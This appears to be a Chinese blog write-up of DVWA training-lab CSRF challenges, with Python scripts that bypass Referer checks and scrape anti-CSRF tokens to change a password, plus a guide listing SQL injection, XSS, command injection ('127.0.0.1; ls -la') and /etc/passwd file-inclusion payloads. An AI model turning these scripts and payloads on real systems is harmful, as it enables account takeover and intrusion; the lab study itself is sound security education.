DVWA - CSRF (low, medium, high)

本文通过实例演示了如何针对不同安全级别的CSRF漏洞进行攻击,包括设置PHPSESSID和security参数进行基本攻击、通过Referer验证提高攻击难度及动态获取user_token实现高级攻击。
该文章已生成可运行项目,

low

设置一下cookie的PHPSESSID和security即可跨站请求

import requests

def main():
    url = 'http://192.168.67.22/dvwa/vulnerabilities/csrf/index.php'
    headers = {
        'Cookie': 'PHPSESSID=88airjn39jqo5mi25fnngko6f0; security=low',
    }
    new_password = 'ac'
    url = '%s?password_new=%s&password_conf=%s&Change=Change' % (url, new_password, new_password)
    res = requests.get(url, headers=headers)
    if 'Password Changed.' in res.content:
        print('Yes')
    else:
        print('No')


if __name__ == '__main__':
    main()

medium

查看源码,发现

// Checks to see where the request came from 
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )

根据Referer验证请求来源,绕过思路:在HTTP请求头声明Referer。

import requests


def main():
    url = 'http://192.168.67.22/dvwa/vulnerabilities/csrf/index.php'
    headers = {
        'Cookie': 'PHPSESSID=88airjn39jqo5mi25fnngko6f0; security=medium',
        'Referer': 'http://192.168.67.22/dvwa/vulnerabilities/csrf/'
    }
    new_password = 'ac'
    url = '%s?password_new=%s&password_conf=%s&Change=Change' % (url, new_password, new_password)
    res = requests.get(url, headers=headers)
    if 'Password Changed.' in res.content:
        print('Yes')
    else:
        print('No')


if __name__ == '__main__':
    main()

high

查看源码,发现多了动态user_token验证

// Check Anti-CSRF token 
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

绕过思路:在代码层面发跨站请求动态获取user_token,再发跨站请求修改密码。

import requests
import re


def main():
    url = 'http://192.168.67.22/dvwa/vulnerabilities/csrf/index.php'
    headers = {
        'Cookie': 'PHPSESSID=88airjn39jqo5mi25fnngko6f0; security=high',
        'Referer': 'http://192.168.67.22/dvwa/vulnerabilities/csrf/'       
    }
    res = requests.get(url, headers=headers)
    m = re.search(r"user_token' value='(.*?)'", res.content, re.M | re.S)
    if m:
        user_token = m.group(1)
        new_password = 'ac'
        url = '%s?password_new=%s&password_conf=%s&user_token=%s&Change=Change' % (url, new_password, new_password, user_token)
        res = requests.get(url, headers=headers)
        if 'Password Changed.' in res.content:
            print('Yes')
        else:
            print('No')
            print(res.content)


if __name__ == '__main__':
    main()

注:这3个实验要跨站,别一直都在本地同一个浏览器测试,这没意思。

本文章已经生成可运行项目
### DVWA HTTP Vulnerabilities Testing Guide DVWA (Damn Vulnerable Web Application) 是一个故意设计为存在漏洞的Web应用,主要用于教育和测试目的。它可以帮助安全研究人员、渗透测试人员和开发人员了解常见的Web应用程序漏洞及其利用方式。 #### 1. **HTTP方法与请求类型** 在进行DVWA漏洞测试时,理解HTTP方法(如GET、POST)是基础。DVWA中大多数漏洞都通过这些方法触发,尤其是在SQL注入、XSS和命令注入等场景中。 - GET请求通常用于从服务器获取数据,参数直接暴露在URL中。 - POST请求则常用于提交敏感信息,参数隐藏在请求体中。 ```python import requests # 示例:使用Python发送GET请求 response = requests.get('http://dvwa.local/login.php', params={'username': 'admin', 'password': 'password'}) print(response.text) # 示例:使用Python发送POST请求 data = {'username': 'admin', 'password': 'password'} response = requests.post('http://dvwa.local/login.php', data=data) print(response.text) ``` #### 2. **常见漏洞测试指南** ##### **SQL注入 (SQL Injection)** DVWA提供了不同安全级别的SQL注入漏洞,允许测试者尝试不同的注入技巧。例如,可以通过`UNION SELECT`来猜测字段数量并提取数据库信息 [^4]。 ```sql -- 示例:尝试登录绕过 ' OR '1'='1 -- 示例:使用UNION查询获取数据库版本 1' UNION SELECT NULL, version() # ``` ##### **跨站脚本攻击 (XSS)** DVWA支持反射型和存储型XSS漏洞的测试。攻击者可以插入恶意脚本以窃取会话cookie或执行其他恶意操作。 ```html <!-- 反射型XSS示例 --> <script>alert('XSS')</script> <!-- 存储型XSS示例 --> <img src="x" onerror="alert('Stored XSS')"> ``` ##### **命令注入 (Command Injection)** DVWA中的命令注入漏洞允许攻击者通过输入执行任意系统命令。此漏洞通常出现在未正确过滤用户输入的情况下。 ```bash # 示例:执行系统命令 127.0.0.1; ls -la ``` ##### **文件包含 (File Inclusion)** 本地文件包含(LFI)和远程文件包含(RFI)漏洞可以在DVWA中找到。这些漏洞可能导致服务器上的任意文件被读取或执行。 ```php // 示例:利用LFI读取配置文件 ?page=../../etc/passwd ``` ##### **CSRF (Cross-Site Request Forgery)** DVWA也包含了CSRF漏洞,攻击者可以诱导用户在不知情的情况下执行非预期的操作,比如更改密码或发送数据。 ```html <!-- 示例:CSRF攻击表单 --> <form action="http://dvwa.local/change_password.php" method="POST"> <input type="hidden" name="password_new" value="hacked" /> <input type="hidden" name="password_conf" value="hacked" /> <input type="submit" value="Click Me" /> </form> ``` #### 3. **安全级别设置** DVWA提供多种安全级别(Low, Medium, High, Impossible),每种级别对漏洞的防护程度不同。建议依次测试每个级别以理解不同防护机制的效果。 - **Low**:几乎没有任何保护措施。 - **Medium**:增加了基本的过滤规则。 - **High**:采用更严格的过滤策略,但仍可能存在绕过方法。 - **Impossible**:理论上无法被攻破,适合学习最佳实践。 #### 4. **防御建议** 针对DVWA中出现的漏洞,开发者应采取以下措施加强安全性: - 对所有用户输入进行严格的验证和过滤。 - 使用预编译语句防止SQL注入。 - 对输出进行HTML实体编码以避免XSS。 - 避免动态执行用户提供的代码或命令。 - 实施CSRF令牌机制确保请求来源合法性。 ---
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值